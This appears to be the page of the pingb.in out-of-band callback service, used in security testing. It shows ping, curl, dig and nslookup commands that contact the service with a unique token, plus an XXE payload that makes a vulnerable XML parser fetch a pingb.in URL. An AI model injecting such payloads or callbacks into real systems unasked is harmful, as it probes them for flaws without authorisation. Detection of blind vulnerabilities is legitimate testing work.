$ ping -c1 -p 001415d5778714b2f3db01d276e66e00 pingb.in
 
$ curl pingb.in/p/1415d5778714b2f3db01d276e66e
 
$ dig 1415d5778714b2f3db01d276e66e @pingb.in
 
$ dig 1415d5778714b2f3db01d276e66e.ns.pingb.in
 
C:\> nslookup 1415d5778714b2f3db01d276e66e pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/1415d5778714b2f3db01d276e66e">]>
    <foo>&xxe;</foo>
 
Waiting for ping...